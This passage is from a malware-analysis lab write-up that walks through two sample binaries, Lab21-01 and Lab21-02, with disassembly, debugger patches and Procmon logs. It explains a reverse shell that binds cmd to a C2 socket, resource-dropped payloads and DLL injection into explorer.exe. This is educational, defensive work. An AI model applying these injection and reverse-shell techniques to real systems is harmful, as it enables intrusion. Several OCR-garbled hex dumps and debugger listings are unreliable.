At first glance it looks like the string '.lcoexe' is being stored on the stack; however, this is because x86 and x64 assembly is little-endian (reversed). As IDA has interpreted this as a hex value rather than a string, converting it results in backwards values. If we reverse this we find the following string stored on the stack.

ocl.exe


This is the same value we saw in Lab09-02. Given this, it's possible the program needs to be called ocl.exe in order for it to run correctly.

iv- How can you get this program to run its payload without changing the filename of the executable?

If we examine 0x14000120C we can see that a string comparison looks to take place which is likely looking for very specific conditions to be met to allow the malware to run (possibly checking if it is named ocl.exe).



When this comparison fails, the program makes a jump to 0x14000120E, which then makes a jump past the primary functions of this malware at 0x140001213, to loc_1400013D7.



One way we can make this program run its payload without changing the filename is to ensure that even after it fails this check, instead of jumping to loc_1400013D7, it flows right into the primary function which triggers the payload.

If we run this in a debugger such as [x64dbg](#) (at this point we're introducing a newer, more robust debugger which supports 64-bit debugging), we can find the jump located at 0x140001213.

The screenshot shows the Immunity Debugger interface. The assembly pane displays the following code snippet:

```

    lea rdx,qword ptr ss:[rbp+10]
    mov rax,104
    call Tab21-01.140001440
    test eax,eax
    je Tab21-01.140001218
    mov ecx,rax
    jmo Tab21-01.1400013D7
    lea rdx,qword ptr ss:[rbp+10]
    mov rax,202
    call qword ptr ds:[<WSASStartup>]
    test eax,eax
    je Tab21-01.14000120E
    mov qword ptr ss:[rbp+38],rax
    mov r14d,rax
    xor rax,rax
    lea rdx,qword ptr ds:[rax+1]
    lea rax,qword ptr ds:[rax+6]
    xor rax,rax
    mov rax,r14d
    mov dword ptr ss:[rbp+20],rbx
    mov dword ptr ss:[rbp+20],rbx
    call qword ptr ds:[<WSASocketA>]
    mov rbx,rax
    cmp rax,FFFFFFFFFFFFFFFFFF
    je Tab21-01.1400013B1
    mov qword ptr ss:[rbp+370],r11
    mov r11,100
    mov qword ptr ss:[rbp+370],r12
    mov qword ptr ss:[rbp+380],r13
    call Tab21-01.1400014FB
    or rcx,FFFFFFFFFFFFFFFFFF
    mov r11,rax
    xor rax,rax
    lea rdx,qword ptr ss:[rbp+40]
    repne scasd
    lea r8,qword ptr ss:[rbp+101]
    lea r9,qword ptr ss:[rbp+102]
    lea rdx,qword ptr ss:[rbp+103]
    lea r10,qword ptr ss:[rbp+104]
    not rax
    sub r8,r11
    sub r9,r11
    sub r10,r11
    lea r13,qword ptr ds:[rcx-1]


```

The memory dump pane shows the following hex dump for the highlighted area:

Address	Hex	ASCII
0000000140001213	EF EF D1 00 00 48 80 S4 24 40 B9 02 02 00 00 FF	E...H,T\$@....\
0000000140001213	25 20 31 00 00 85 C0 75 E2 4C 99 B4 24 88 03 00AUL.1...
0000000140001213	00 41 BE 02 00 00 00 8D 59 01 44 8D 40 06 45 32	A%...P.O.B.E3
0000000140001243	C9 41 BB CE 89 5C 14 28 89 5C 24 20 FF 15 9B 5F	EA.I.\3(.,S.Y..
0000000140001253	00 00 48 88 08 48 83 F0 FF 0F 84 4F 01 00 00 48	H.BH.09...0...R

From here it can be modified to instead perform no operation, effectively allowing the program to flow into its payload.


Lab21-01.exe - PID: 19A4 - Module: lab21-01.exe - Thread: Main Thread 1A68 - x64dbg [Elevated]



.text:0000000140001213 lab21-01.exe:\$1213 #613

Address	Hex	ASCII
00000001400001218	90 90 90 90 90 48 8D 54 24 40 B9 02 02 00 00 FF	. . . H.T\$@!...y
00000001400001222	3E 50 00 00 00 85 C0 75 E2 4C 89 B4 24 88 03 00	. . . Aud. S...
00000001400001233	00 41 BE 02 00 00 80 50 01 44 8D 40 06 45 33	A% . . . P.D. @.E3
00000001400001243	C9 41 88 CE B9 5C 24 28 89 5C 24 20 FF 15 9B 5F	EA.I. \$().\$ y..-
00000001400001253	00 00 48 BB D8 48 63 FF FF OF 84 4F 01 00 00 48	. . . H.OH.oy..O..H
00000001400001263	B9 B4 24 70 03 00 00 B9 00 01 00 00 4C 89 A4 24	. Sp. . . L..\$. et..
00000001400001273	78 03 00 00 4C 89 AC 24 80 03 00 00 E8 74 02 00	X. . . L..\$. et..
00000001400001283	00 48 B3 C9 FF 4C 8B D8 33 C0 48 80 BD F0 00 00	.H.EyL.0BAH.%@..
00000001400001293	00 F2 AE 4C 80 85 01 01 00 00 4C 8D 02 01 00	.@L. . . L. . .
000000014000012A3	00 4B 8D BD 00 01 00 00 4C 8D 95 03 01 00 00 48	.H.% . . L. . . .H
000000014000012B3	F7 D1 4D 2B C3 40 2B CB 49 2B 4C 8D 69 FF 45	-NM+AM+EI-UL.1%E
000000014000012C3	88 E6 49 8B F3 40 2B D3 0F 1F 44 00 00 41 8D 44	.E1.0M+O. D. A.D


If we set a breakpoint at our new NOP values, we can use F9 to run the program and see it hits them without issue. If we then hold F8 to step over functions, we will begin to see a decoding routine runs which gives us a known C2.



At this point we can be confident that the check used to determine if the filename of the executable is correct has been bypassed.

v- Which two strings are being compared by the call to `strcmp` at `0x0000000140001205`?


Using x64dbg we can easily create a breakpoint at `0x140001205` and see the two strings being compared stored in RCX and RDX. After setting a breakpoint and pressing F9, to run the program until we hit it, we can see the values being compared are the binary name (`Lab21-01.exe`) and the string `jzm.exe`.



Based on this we know that some transformations must be occurring on the string ocl.exe before being used in this comparison.

vi-Does the function at 0x00000001400013C8 take any parameters?

Jumping to the function at 0x1400013C8, it isn't immediately obvious in IDA or x64dbg how many parameters it takes, but what we do see is RBX being moved into RCX.



Because we know RCX, RDX, R8, and R9 are the first 4 parameters of any given function call in a 64-bit OS, we know that whatever is within RBX at the time of this call will be passed to the

function at 0x1400013C8 (sub_140001000). By looking at what is being passed to this in IDA prior to the call, we can see that it is RAX, or more specifically a pointer to the socket returned by WSASocketA.



```

0000000140001218
0000000140001218 loc_140001218:          ; lpWSAData
0000000140001218 lea    rdx, [rsp+360h+WSAData]
000000014000121D mov    ecx, 202h      ; wVersionRequested
0000000140001222 call   cs:WSAStartup
0000000140001228 test   eax, eax
000000014000122A jnz   short loc_14000120E

```



```

000000014000122C
000000014000122C loc_14000122C:
000000014000122C mov    [rsp+360h+arg_18], r14
0000000140001234 mov    r14d, 2
000000014000123A lea    edx, [rax+1]    ; type
000000014000123D lea    r8d, [rax+6]    ; protocol
0000000140001241 xor    r9d, r9d      ; lpProtocolInfo
0000000140001244 mov    ecx, r14d     ; af
0000000140001247 mov    [rsp+360h+dwFlags], ebx ; dwFlags
0000000140001248 mov    [rsp+360h+g], ebx ; g
000000014000124F call   cs:WSASocketA
0000000140001255 mov    rbx, rax
0000000140001258 cmp    rax, 0xFFFFFFFFFFFFFFFh
000000014000125C jz    loc_140001381

```



```

0000000140001262
0000000140001262 loc_140001262:
0000000140001262 mov    [rsp+360h+arg_0], rsi
000000014000126A mov    ecx, 100h      ; Size
000000014000126F mov    [rsp+360h+arg_8], r12
0000000140001277 mov    [rsp+360h+arg_10], r13
000000014000127F call   malloc
0000000140001284 or    rcx, 0xFFFFFFFFFFFFFFFh
0000000140001288 mov    r11, rax
000000014000128B xor    eax, eax
000000014000128D lea    rdi, [rbp+260h+var_170]
0000000140001294 repne scasb
0000000140001296 lea    r8, [rbp+260h+var_160+1]
000000014000129D lea    r9, [rbp+260h+var_160+2]
00000001400012A4 lea    rdi, [rbp+260h+var_160]
00000001400012AB lea    r10, [rbp+260h+var_160+3]
00000001400012B2 not   rcx
00000001400012B5 sub   r8, r11
00000001400012B8 sub   r9, r11
00000001400012B8 sub   rdi, r11
00000001400012BE lea    r13, [rcx-1]
00000001400012C2 mov    r12d, r14d
00000001400012C5 mov    rsi, r11
00000001400012C8 sub   r10, r11
00000001400012CB nop   dword ptr [rax+rax+00h]

```

By viewing the start of sub_140001000 in IDA we can also see that rcx is being stored back into rbx which is then being used for the standard input, output, and error destination meaning that all output will be redirected to this socket.

```

0000000140001000 ;org 140001000h
0000000140001000 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
0000000140001000
0000000140001000
0000000140001000
0000000140001000 sub_140001000 proc near
0000000140001000
0000000140001000 bInheritHandles= dword ptr -0C8h
0000000140001000 dwCreationFlags= dword ptr -0C0h
0000000140001000 lpEnvironment= qword ptr -088h
0000000140001000 lpCurrentDirectory= qword ptr -0B0h
0000000140001000 lpStartupInfo= qword ptr -0A8h
0000000140001000 lpProcessInformation= qword ptr -0A0h
0000000140001000 ProcessInformation= _PROCESS_INFORMATION ptr -98h
0000000140001000 StartupInfo= _STARTUPINFOA ptr -78h
0000000140001000
0000000140001000 push    rbx
0000000140001002 sub     rsp, 0E0h
0000000140001004 xor    edx, edx      ; Val
0000000140001008 mov    rbx, rcx
000000014000100E lea    rcx, [rsp+0E8h+StartupInfo] ; Dst
0000000140001013 lea    r8d, [rdx+68h] ; Size
0000000140001017 call   memset
000000014000101C xor    eax, eax
000000014000101E lea    rdx, CommandLine ; "cmd"
0000000140001025 mov    [rsp+0E8h+ProcessInformation.hProcess], rax
000000014000102A mov    [rsp+0E8h+ProcessInformation.hThread], rax
000000014000102F mov    qword ptr [rsp+0E8h+ProcessInformation.dwProcessId], rax
0000000140001034 lea    rax, [rsp+0E8h+ProcessInformation]
0000000140001039 xor    r9d, r9d      ; lpThreadAttributes
000000014000103C xor    r8d, r8d      ; lpProcessAttributes
000000014000103F mov    [rsp+0E8h+lpProcessInformation], rax ; lpProcessInformation
0000000140001044 lea    rax, [rsp+0E8h+StartupInfo]
0000000140001049 xor    ecx, ecx      ; lpApplicationName
0000000140001048 mov    [rsp+0E8h+lpStartupInfo], rax ; lpStartupInfo
0000000140001050 xor    eax, eax
0000000140001052 mov    [rsp+0E8h+StartupInfo.cb], 68h
000000014000105A mov    [rsp+0E8h+lpCurrentDirectory], rax ; lpCurrentDirectory
000000014000105F mov    [rsp+0E8h+lpEnvironment], rax ; lpEnvironment
0000000140001064 mov    [rsp+0E8h+dwCreationFlags], eax ; dwCreationFlags
0000000140001068 mov    [rsp+0E8h+bInheritHandles], 1 ; bInheritHandles
0000000140001070 mov    [rsp+0E8h+StartupInfo.dwFlags1], 100h
000000014000107B mov    [rsp+0E8h+StartupInfo.hStdInput], rbx
0000000140001083 mov    [rsp+0E8h+StartupInfo.hStdError], rbx
0000000140001088 mov    [rsp+0E8h+StartupInfo.hStdOutput], rbx
0000000140001093 call   cs>CreateProcessA
0000000140001099 mov    rcx, [rsp+0E8h+ProcessInformation.hProcess] ; hHandle
000000014000109E or     edx, 0xFFFFFFFFh ; dwMilliseconds
00000001400010A1 call   cs:WaitForSingleObject
00000001400010A7 xor    eax, eax
00000001400010A9 add    rsp, 0E0h
00000001400010B0 pop    rbx
00000001400010B1 retn
00000001400010B1 sub_140001000 endp
00000001400010B1

```

Based on this we know that the function at 0x1400013C8 takes 1 parameter, the socket to our C2.

vii-How many arguments are passed to the call to CreateProcess at 0x0000000140001093?
How do you know?

It's not immediately clear how many arguments are passed to the call to CreateProcessA at 0x140001093.

```

0000000140001052 mov    [rsp+0E8h+StartupInfo.cb], 68h
000000014000105A mov    [rsp+0E8h+lpCurrentDirectory], rax ; lpCurrentDirectory
000000014000105F mov    [rsp+0E8h+lpEnvironment], rax ; lpEnvironment
0000000140001064 mov    [rsp+0E8h+dwCreationFlags], eax ; dwCreationFlags
0000000140001068 mov    [rsp+0E8h+bInheritHandles], 1 ; bInheritHandles
0000000140001070 mov    [rsp+0E8h+StartupInfo.dwFlags], 100h
0000000140001078 mov    [rsp+0E8h+StartupInfo.hStdInput], rbx
0000000140001083 mov    [rsp+0E8h+StartupInfo.hStdError], rbx
000000014000108B mov    [rsp+0E8h+StartupInfo.hStdOutput], rbx
0000000140001093 call   cs:CreateProcessA
0000000140001099 mov    rcx, [rsp+0E8h+ProcessInformation.hProcess] ; hHandle
000000014000109E or    edx, 0FFFFFFFh ; dwMilliseconds
00000001400010A1 call   cs:WaitForSingleObject
00000001400010A7 xor    eax, eax
00000001400010A9 add    rsp, 0E0h
00000001400010B0 pop    rbx

```

Given IDA has identified this as CreateProcessA though, we can double click on it and see how many arguments are expected to be passed to this call.



In this case we can see there are 10 arguments which are expected to be passed to it.

- lpApplicationName
- lpCommandLine
- lpProcessAttributes
- lpThreadAttributes
- bInheritHandles
- dwCreationFlags
- lpEnvironment
- lpCurrentDirectory
- lpStartupInfo
- lpProcessInformation

Because this is documented, we know that these 10 arguments need to be passed to [CreateProcessA](#)

```
C++ Copy


BOOL CreateProcessA(
    _In_opt_ LPCSTR lpApplicationName,
    _In_opt_ LPSTR lpCommandLine,
    _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
    _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
    _In_ BOOL bInheritHandles,
    _In_ DWORD dwCreationFlags,
    _In_opt_ LPVOID lpEnvironment,
    _In_opt_ LPCSTR lpCurrentDirectory,
    _In_opt_ LPSTARTUPINFOA lpStartupInfo,
    _Out_ LPPROCESS_INFORMATION lpProcessInformation
);

```

h- Analyze the malware found in *Lab21-02.exe* on both x86 and x64 virtual machines.

i-What is interesting about the malware's resource sections?

Because we know this malware is similar to Lab12-01.exe, we can compare the malware's resource sections to that of Lab12-01.exe and see if there's any noticeable differences. By opening both of these in pestudio, we can see that Lab21-02.exe has an added section called .rsrc and a number of extra imports and strings.




The added section is a resource section, and if we examine what is contained within it, we can see three interesting binaries named x64, x64DLL, and x86.


Type	Name	File offset (R)	Signature	Non-standard	Size (141888 bytes)	File offset (M470)	MD5
BH	x64	0x00000120	executable..	*	39432	33.38 %	8D1FCE3E0B031FAE800C7001237
BH	x64DLL	0x00014020	executable..	*	12736	26.04 %	C1E90000000000000000000000000000
BH	x86	0x00019020	executable..	*	49152	27.61 %	8A1A0000000000000000000000000000
	manifest	-	manifest	-	146	0.22 %	24010000000000000000000000000000

Although this malware is similar to Lab12-01.exe, we're not entirely sure how similar it is. To do this we should look at similarities between our sample 'Lab12-01.exe' and 'Lab21-02.exe'. We can utilise a disassembler plugin such as [BinDiff](#) to get this information at a glance. This requires a disassembled binary be present from either a paid pro version of IDA, or the free alternative Ghidra.


If we want to install this plugin into Ghidra, we first must install it on our OS from the provided msi file. From here we can run Ghidra and click File > Install Extensions.




The extension we need to install is [ghidra_BinExport.zip](#) as shown below.




After installing this, we need to restart Ghidra and disassemble both Lab12-01.exe, and Lab21-02.exe. We should also set these to automatically analyze the selected binary.




Once analysis is complete we can use File > Export, and select 'Binary BinExport for BinDiff'.




Once this is complete for both our binaries, we can compare the 2 BinExport files using BinDiff. We will need to first setup a workspace.



From here we can compare our 2 BinDiff exports.




The end result is a number of graphs and functions we can drill down into and see what has changed, and in fact a lot has changed between these 2 binaries.




ii-Is this malware compiled for x64 or x86?

Using our BinDiff above we have a graph which tells us what this malware is compiled for.



- x86-32 (32-bit)

We can also use a number of other tools such as peview, PE-bear, pestudio or DIE to get the same information as this is stored in the File Header.



iii-How does the malware determine the type of environment in which it is running?

Comparing this to Lab12-01.exe, our previous analysis revealed that the main method contains a number of checks and operations before the main functionality begins. If we go to the start of the program we may see evidence of analysis failure.

```

public start
start proc near

; FUNCTION CHUNK AT 00401817 SIZE 0000007A BYTES
; FUNCTION CHUNK AT 00401892 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004018A3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004018BC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004018E2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004018F3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00401906 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00401968 SIZE 00000010 BYTES

call    sub_4032F2
jmp    loc_401817
start ends ; so analysis fails

```



```

; START OF FUNCTION CHUNK FOR start

loc_401817:
push   14h
push   offset unk_407A70
call  __SEH_prolog4
xor    esi, esi
cmp    dword_40A8C8, esi
jnz    short loc_401838

```




```

push   esi          ; HeapInformationLength
push   esi          ; HeapInformation
push   1             ; HeapInformationClass
push   esi          ; HeapHandle
call  ds:HeapSetInformation

```

In this instance it's not a big issue and we can safely ignore that. Scrolling down in IDA, we know that any checks to determine what type of environment it is running in is likely to occur after a call to 'GetCommandLineA'. We soon find this call, and 5 subsequent calls to examine of interest.



One thing to note is that 3 of these look to directly lead to sub_4017D0 which seems to prematurely throw an error and terminate the malware. One of these calls looks more interesting than the others though which is 'sub_401260'. If we examine this we can see a reference to 'IsWow64Process'.

```

var_10= uwuru ptr -10h
var_C= dword ptr -0Ch
var_8= dword ptr -8
var_4= dword ptr -4

push    ebp
mov     ebp, esp
mov     eax, 131Ch
call    _alloca_probe
push    ebx
mov     ebx, ds:GetModuleHandleA
push    esi
push    edi
push    0           ; lpModuleName
mov     [ebp+var_C], 0
call    ebx ; GetModuleHandleA
mov     esi, ds:LoadlibraryA
push    offset ProcName ; "EnumProcessModules"
push    offset LibFileName ; "psapi.dll"
mov     [ebp+var_4], eax
call    esi ; LoadLibraryA
mov     edi, ds:GetProcAddress
push    eax          ; hModule
call    edi ; GetProcAddress
push    offset aGetmodulebasen ; "GetModuleBaseNameA"
push    offset LibFileName ; "psapi.dll"
mov     dword_40A7AC, eax
call    esi ; LoadLibraryA
push    eax          ; hModule
call    edi ; GetProcAddress
push    offset aEnumprocesses ; "EnumProcesses"
push    offset LibFileName ; "psapi.dll"
mov     dword_40A7A4, eax
call    esi ; LoadLibraryA
push    eax          ; hModule
call    edi ; GetProcAddress
mov     dword_40A7B0, eax
push    184h         ; uSize
lea     eax, [ebp+Buffer]
push    eax          ; lpBuffer
call    ds:GetSystemDirectoryA
mov     esi, ds:lstrcmpA
push    offset String2 ; "\\"
lea     ecx, [ebp+Buffer]
push    ecx          ; lpString1
call    esi ; lstrcmpA
push    offset aIsWow64process ; "IsWow64Process"
push    offset ModuleName ; "kernel32"
mov     [ebp+var_10], 0
call    ebx ; GetModuleHandleA
push    eax          ; hModule
call    edi ; GetProcAddress
mov     dword 40A7A8, eax
test   eax, eax
jz     short loc_401322

```

```

lea     edx, [ebp+var_10]
push   edx
call  ds:GetCurrentProcess
push   eax
call  dword 40A7AB


```

In the above we see the malware is attempting to resolve the location of the 'IsWow64Process' export within Kernel32.dll. Where this is found it will then get its own process ID and execute IsWow64Process which has dynamically been resolved (dword_40A7A8).

From this we can tell the malware attempts to resolve and call 'IsWow64Process' to determine if it is running on a 64-bit or 32-bit OS.

iv-What does this malware do differently in an x64 environment versus an x86 environment?

If we examine code flow after the check for 'IsWow64Process', depending on whether or not this returned true or false in [ebp+var_10], a different number of actions will be taken.




If it returns true, then the malware assumes it is running in an x64 (64-bit) environment. This is due to it being compiled for an x86 (32-bit) environment and needing to be run under [WOW64](#) when executing on a 64-bit OS.

64-bit (x64 Actions):

If we examine the 64-bit case at a glance, we can see the following actions taken:


First we see 2 calls to 'sub_401000' which is associated with getting 2 different files from the binary resource section and saving them to disk, these binaries are then saved as 'Lab21-02x.exe' and 'Lab21-02x.dll' before Lab21-02x.exe is launched and the program terminates.




32-bit (x86 Actions):

If we examine the 32-bit case at a glance, we can see the following actions taken:

First we see a call to ‘sub_401000’ which is once again associated with getting a file from the binary resource section and saving it to disk (Lab21-02.dll). From here we then see the malware allocating the extracted DLL into a buffer for later use, and attempting to grant itself Debug Privileges. From here it then opens a handle to a process with the name ‘explorer.exe’.



Looking further at the malware, we can see that after getting a handle to a process with the name explorer.exe, it will attempt to open the process, allocate memory, write the dropped DLL into that process memory, and then create a remote thread to run and execute the injected DLL.



Based on this we know that the malware will attempt to run one of the dropped binaries in a x64 environment, whereas a x86 environment it will attempt to inject the dropped binary into a process called explorer.exe.

v-Which files does the malware drop when running on an x86 machine? Where would you find the file or files?

From the above analysis we know that the file dropped when run on on x86 machine will be 'Lab21-02.dll'. Using Procmon and running the binary on an x86 system we can see this attempting to be written. In this case we haven't run the malware as an administrator so it is unable to write the file.

1:24:25:03524..	Lab21-02.exe	1104	A>CreateFile	C:\Windows\System32\mm32.dll	SUCCESS	
1:24:25:03538..	Lab21-02.exe	1104	A>CreateFile	C:\Windows\System32\mm32.dll	SUCCESS	
1:24:25:03563..	Lab21-02.exe	1104	A>CreateFile	C:\Windows\System32\mm32.dll	SUCCESS	
1:24:25:03578..	Lab21-02.exe	1104	A>CreateFile	C:\Windows\System32\mm32.dll	SUCCESS	
1:24:25:72204..	Lab21-02.exe	1104	A>CreateFile	C:\Windows\System32\Lab21-02.dll	ACCESS DENIED	

This shows us that the file Lab21-02.dll is dropped to C:\Windows\System32\Lab21-02.dll when run on an x86 machine.

vi-Which files does the malware drop when running on an x64 machine? Where would you find the file or files?

From the analysis in question 4 we know that the file dropped when run on an x64 machine will be 'Lab21-02x.exe' and 'Lab21-02x.dll'. Using Procmon and running the binary on an x64 system we can see this attempting to be written. In this case we haven't run the malware as an administrator so it is unable to write the file.

1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Windows\SysWOW64\user32.dll	SUCCESS	
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Windows\SysWOW64\ole32.dll	SUCCESS	
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Windows\SysWOW64\imm32.dll	SUCCESS	
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Windows\SysWOW64\imm32.dll	SUCCESS	
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Windows\SysWOW64\imm32.dll	SUCCESS	
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Windows\SysWOW64\imm32.dll	PATH NOT FOUND	D
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Users\User\Desktop\BinaryCollector\SystemResources\Lab21-02.exe.man	PATH NOT FOUND	D
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Users\User\Desktop\BinaryCollector\SystemResources\Lab21-02.exe.man	NAME NOT FOUND	D
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Windows\SysWOW64\edgiga.dll	SUCCESS	
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Windows\SysWOW64\user.dll	ACCESS DENIED	D
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Windows\SysWOW64\Lab21-02x.dll	ACCESS DENIED	D
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Windows\SysWOW64\Lab21-02x.dll	ACCESS DENIED	D
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Windows\SysWOW64\kernel32.dll	SUCCESS	
1:18:2..	Lab21-02.exe	4160	A>CreateFile	C:\Windows\SysWOW64\SHCore.dll	SUCCESS	

This shows us that the files Lab21-02x.exe and Lab21-02x.dll are dropped to C:\Windows\SysWOW64\Lab21-02x.exe and C:\Windows\SysWOW64\Lab21-02x.dll when run on an x64 machine.

If we take a closer look at 'sub_401000' which performs the file dropping on both an x64 and x86 OS, we can see how this happens.

```

Function 1:
push    edi
mov     ecx, eax
push    ebx
push    ecx
call    loc_4034E0
add    esp, 0Ch
push    104h          ; uSize
lea     edx, [ebp+FileName]
push    edx          ; lpBuffer
call ds:GetSystemDirectoryA
mov     esi, ds:istrcatA
push    offset String2 : "\\" 
lea     eax, [ebp+FileName]
push    eax          ; lpString1
call esi ; istrcatA
mov     ecx, [ebp+IpString2]
push    ecx          ; lpString2
lea     edx, [ebp+FileName]
push    edx          ; lpString1
call esi ; istrcatA
push    0             ; hTemplateFile
push    80h           ; dwFlagsAndAttributes
push    2              ; dwCreationDisposition
push    0              ; lpSecurityAttributes
push    0              ; dwShareMode
push    400000000h    ; dwDesiredAccess
lea     eax, [ebp+FileName]
push    eax          ; lpFileName
call ds>CreateFileA
mov     esi, eax
test   esi, esi
jnz    short loc_401106

Function 2:
loc_401106:          ; lpOverlapped
push    0
lea     ecx, [ebp+NumberOfBytesWritten]
push    ecx          ; lpNumberOfBytesWritten
call ds:FreeResource
pop    edi
mov    eax, esi
pop    esi
mov    esp, ebp
pop    ebp
retn

Function 3:
loc_401106:          ; lpOverlapped
push    0
lea     ecx, [ebp+NumberOfBytesWritten]
push    ecx          ; lpNumberOfBytesWritten
push    edi          ; nNumberOfBytesToWrite
push    ebx          ; lpBuffer
push    esi          ; hFile
call ds:WriteFile
push    esi          ; hObject
call ds:CloseHandle


```

In both cases a call is made to 'GetSystemDirectoryA' which should return C:\Windows\System32\; however, because this is a 32-bit binary being run on a 64-bit OS, the OS instinctively sets up a redirect to C:\Windows\SysWOW64. This is done because the SysWOW64 directory contains necessary 32-bit compiled DLLs required to allow the operating system to run 32-bit binaries seemlessly.

vii-What type of process does the malware launch when run on an x64 system?

Based on our analysis in question 4 we know this is dropping and launching 'Lab21-02x.exe' on an x64 system. If we use the 32-bit debugger version of x64dbg (x32dbg), we can set a

breakpoint before the process is started (for example 0x401381) and collect the dropped binaries from C:\Windows\SysWOW64.



From here we can close our debugger, terminate the process before it executes Lab21-02x.exe, and move these to the same directory as the other binaries we're analysing. Opening both the DLL and EXE in pestudio reveals they don't have the 32-bit flag set, and as such have been compiled specifically for a 64-bit OS.

The screenshot displays two windows side-by-side, both showing the analysis of the same executable file, Lab21-02x.exe. The left window is titled "Windows 7/10 - Malware initial assessment - www.winter.com" and the right window is titled "Windows 7/10 - Malware initial assessment - www.winter.com". Both windows have a similar interface with a tree view of the file structure on the left and detailed properties on the right.

File Structure (Left Window):

- > c:\users\user\desktop\binarycollection\chapter_11\lab21-02x.exe
- > Indicators (27%)
- > Standard options
- > dos-header (61 bytes)
- > dos-stub (102 bytes)
- > file-header (860 bytes) [highlighted]
- > optional-header (contd.)
- > sections (31)
- > sections (97.40%)
- > Headers (2)
- > imports (1769)
- > exports (1)
- > resources (1)
- > resources (manifest)
- > strings (26440)
- > strings (14)
- > manifest (external)
- > version (1)
- > certificate (1)
- > writing (1)


Properties (Right Window):

property	value
signature	0x0000550 (PE00)
machine	Ami64
sections	6
compilestamp	0x1ECD004A (Mon Nov 21 17:52:10 2011)
pointer-symbol-table	0x00000000
number-of-symbols	0
size-of-optimal-header	240 bytes
process	32bit [highlighted]
relocation-tripped	false
large-address-aware	true
unprocessor	false
system-image	false
dynamic-link-library	false
executable	true
debug-tripped	false
media-run-from-swap	false
network-run-from-swap	false

From this we know that the malware launches a 64-bit process when run on a x64 system, after the initial 32-bit process is run to drop our 64-bit payloads.

viii-What does the malware do?

To fully answer this question we still need to understand what happens after Lab21-02x.exe is executed, and what the payload of Lab21-02.dll is which is injected into explorer.exe. Starting with Lab21-02.dll, we can first extract this by repeating the process we took in the above question except we need to perform this on a 32-bit OS, and set a breakpoint at a different location (for example 0x401454) which occurs on the x86 path.



We know that this is similar to Lab12-01.exe which injected Lab12-01.dll into explorer.exe. If we compare the file hash of Lab12-01.dll and Lab21-02.dll, we can confirm that these are the exact same DLL.

File	MD5	SHA1	CRC32	SHA-256	SHA-512
Lab21-02.dll	abfb6ca0f0...	d3fb6ca0f0...	213fae90	0x6a1b441d21291ac0b6d11176c17097547401a83091f1a0095a	7940f218b6e92b5
Lab12-01.dll	e8f60c8fdes...	d38b6ca0db0f...	2218ea90	0x689a53b84b8d20e2991ac666d1b176c8327f097541749ae83298162a0095a	7940f218b6e92b5

In this instance the malware when run on an x86 system drops the required DLL which is identical to Lab12-01.dll and injects this into explorer.exe.

At this point we just need to confirm what the malware does once Lab21-02x.exe is executed. If we open this in IDA 7.0, we can see that it is attempting to get a handle on the dropped DLL file Lab21-02x.dll so it's likely this is going to be used somewhere by a reference to [rsp+1168h+String1].


```

arg_0= qword ptr 8
arg_8= qword ptr 10h
arg_10= qword ptr 18h

push r12
mov eax, 1160h
call _alloca_probe
sub rsp, rax
xor ecx, ecx      ; lpModuleName
xor r12d, r12d
call cs:GetModuleHandleA
lea rcx, LibFileName ; "psapi.dll"
call cs:LoadLibraryA
lea rdx, ProcName  ; "EnumProcessModulesEx"
mov rcx, rax      ; hModule
call cs:GetProcAddress
lea rcx, LibFileName ; "psapi.dll"
mov cs:qword_14000BED8, rax
call cs:LoadLibraryA
lea rdx, aGetmodulebasen ; "GetModuleBaseNameA"
mov rcx, rax      ; hModule
call cs:GetProcAddress
lea rcx, LibFileName ; "psapi.dll"
mov cs:qword_14000BED0, rax
call cs:LoadLibraryA
lea rdx, aEnumprocesses ; "EnumProcesses"
mov rcx, rax      ; hModule
call cs:GetProcAddress
lea rdx, String2   ; "C:\\Windows\\SysWOW64\\"
lea rcx, [rsp+1168h+String1] ; lpString1
mov cs:qword_14000BEE0, rax
call cs:lstrcpyA
lea rdx, aLab2102xDll ; "Lab21-02x.dll"
lea rcx, [rsp+1160h+String1] ; lpString1
call cs:lstrcmpA
call sub_140001000
lea r8, [rsp+1168h+arg_10]
lea rcx, [rsp+1168h+dwProcessId]
mov edx, 1000h
call cs:qword_14000BEE0
test eax, eax
jnz short loc_14000121D

```

Shortly after this we see a call to 'sub_140001090' before 'OpenProcess' is called. Analysis of sub_140001090 reveals this is also looking for 'explorer.exe' as a process name to get a handle to.



Shortly after we see a familiar group of calls which indicate that Lab21-02x.dll (stored in [rsp+1168h+String1]) will be the buffer injected into explorer.exe.

```

loc_1400012A3:    ; lpAddress
xor    edx, edx
mov    r9d, 3000h      ; flAllocationType
mov    r8d, 104h        ; dwSize
mov    rcx, rsi         ; hProcess
mov    [rsp+1168h+flProtect], 4 ; flProtect
call   cs:VirtualAllocEx
mov    rbx, rax
test   rax, rax
jnz    short loc_1400012CF

loc_1400012CA:    ; lpBuffer
or     eax, 0FFFFFFFh
jmp    short loc_14000133C

loc_1400012CF:    ; lpBuffer
lea    r8, [rsp+1168h+String1]
mov    r9d, 104h        ; nSize
mov    rdx, rax         ; lpBaseAddress
mov    rcx, rsi         ; hProcess
mov    qword ptr [rsp+1168h+flProtect], 0 ; lpNumberOfBytesWritten
call   cs:WriteProcessMemory
lea    rcx, ModuleName ; "kernel32.dll"
call   cs:GetModuleHandleA
lea    rdx, aLoadlibraryA ; "LoadLibraryA"
mov    rcx, rax         ; hModule
call   cs:GetProcAddress
